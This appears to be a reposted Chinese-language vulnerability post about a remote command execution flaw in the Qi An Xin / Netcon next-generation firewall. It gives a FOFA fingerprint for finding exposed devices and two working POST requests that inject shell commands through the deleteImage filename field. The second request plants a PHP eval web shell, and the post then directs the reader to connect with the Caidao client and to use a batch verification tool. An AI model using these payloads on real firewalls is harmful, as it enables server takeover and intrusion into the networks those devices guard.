奇安信网康下一代防火墙（NGFW）是网康科技推出的一款可全面应对网络威胁的高性能应用层防火墙，存在远程命令执行，通过漏洞攻击者可以获取服务器权限。
fofa指纹：
app="网康科技-下一代防火墙"
漏洞路径：
/directdata/direct/routerPOC：
POST /directdata/direct/router HTTP/1.1Host: xxxConnection: closeContent-Length: 160Upgrade-Insecure-Requests: 1{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;id >/var/www/html/test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
访问：/test_test.txt ：
写入 PHP 一句话木马：
POST /directdata/direct/router HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=o397gs3iq35r7qoikmh5klcs04; ys-active_page=s%3AUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Length: 194{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;echo '<?php @eval($_POST[xxxx]);?>' >/var/www/html/test.php"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
菜刀连接：
批量验证工具：
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验证截图：
使用方法：
java -jar xxx.jar
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声明
原文始发于微信公众号（丁永博的成长日记）：奇安信网康科技防火墙远程命令执行漏洞
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